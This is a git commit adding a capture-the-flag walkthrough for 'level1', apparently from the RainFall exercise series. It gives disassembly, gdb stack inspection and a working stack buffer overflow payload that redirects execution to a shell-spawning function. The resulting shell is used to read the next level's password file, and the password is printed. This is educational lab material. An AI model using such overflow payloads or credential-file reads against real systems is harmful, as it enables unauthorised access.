chore: level1 walktrough

level1/Ressources/exploit.txt

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level1/Ressources/walktrough.md

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+Code has 2 functions which are interesting, main and run.
+We need to execute run, for this we are going to use a buffer overflow attack.
+For this we've got to input more than the 64 bits allocated for gets command.
+We are going to override the stack so the ret command jump to run function.
+
+```
+0x08048480 <main+0>:	push   ebp
+0x08048481 <main+1>:	mov    ebp,esp
+0x08048483 <main+3>:	and    esp,0xfffffff0
+0x08048486 <main+6>:	sub    esp,0x50
+0x08048489 <main+9>:	lea    eax,[esp+0x10]
+0x0804848d <main+13>:	mov    DWORD PTR [esp],eax
+0x08048490 <main+16>:	call   0x8048340 <gets@plt>
+0x08048495 <main+21>:	leave  
+0x08048496 <main+22>:	ret
+```
+
+```
+0x08048444 <run+0>:		push   ebp
+0x08048445 <run+1>:		mov    ebp,esp
+0x08048447 <run+3>:		sub    esp,0x18
+0x0804844a <run+6>:		mov    eax,ds:0x80497c0
+0x0804844f <run+11>:	mov    edx,eax
+0x08048451 <run+13>:	mov    eax,0x8048570
+0x08048456 <run+18>:	mov    DWORD PTR [esp+0xc],edx
+0x0804845a <run+22>:	mov    DWORD PTR [esp+0x8],0x13
+0x08048462 <run+30>:	mov    DWORD PTR [esp+0x4],0x1
+0x0804846a <run+38>:	mov    DWORD PTR [esp],eax
+0x0804846d <run+41>:	call   0x8048350 <fwrite@plt>
+0x08048472 <run+46>:	mov    DWORD PTR [esp],0x8048584
+0x08048479 <run+53>:	call   0x8048360 <system@plt>
+0x0804847e <run+58>:	leave
+0x0804847f <run+59>:	ret
+```
+
+Fig 1. Disassembly of main and run functions
+
+The first step is to find where the ret address is stored, for this, we will
+stop the program just before it begins running main and check esp register's
+value.
+
+```
+Reading symbols from /home/user/level1/level1...(no debugging symbols found)...done.
+(gdb) b *main+0
+Breakpoint 1 at 0x8048480
+(gdb) run
+Starting program: /home/user/level1/level1 
+
+Breakpoint 1, 0x08048480 in main ()
+(gdb) p $esp
+$1 = (void *) 0xbffff73c
+(gdb) 
+```
+
+Now we need to go to the gets and input 64 random characters and try to see them
+on the stack
+
+```
+Breakpoint 1, 0x08048495 in main ()
+(gdb) x/128xb $esp
+0xbffff6e0:	0xf0	0xf6	0xff	0xbf	0x2f	0x00	0x00	0x00
+0xbffff6e8:	0x3c	0xf7	0xff	0xbf	0xf4	0x0f	0xfd	0xb7
+0xbffff6f0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff6f8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff700:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff708:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff710:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff718:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff720:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff728:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
+0xbffff730:	0x00	0x84	0x04	0x08	0x00	0x00	0x00	0x00
+0xbffff738:	0x00	0x00	0x00	0x00	0xd3	0x54	0xe4	0xb7
+0xbffff740:	0x01	0x00	0x00	0x00	0xd4	0xf7	0xff	0xbf
+0xbffff748:	0xdc	0xf7	0xff	0xbf	0x58	0xc8	0xfd	0xb7
+0xbffff750:	0x00	0x00	0x00	0x00	0x1c	0xf7	0xff	0xbf
+0xbffff758:	0xdc	0xf7	0xff	0xbf	0x00	0x00	0x00	0x00
+```
+
+We can see our 64 'A's in the stack, notice there is some space before 0xbffff73c.
+That means we still need to put more 'A's, 12 precisely, then the address we want
+to jump to.
+
+```(python -c "print('A'*64+'A'*12+'\x44\x84\x04\x08')"; cat) | ./level1```
+
+```level1@RainFall:~$ (python -c "print('A'*64+'A'*12+'\x44\x84\x04\x08')"; cat) | ./level1
+Good... Wait what?
+whoami
+level2
+cat /home/user/level2/.pass
+53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
+```
+
+:)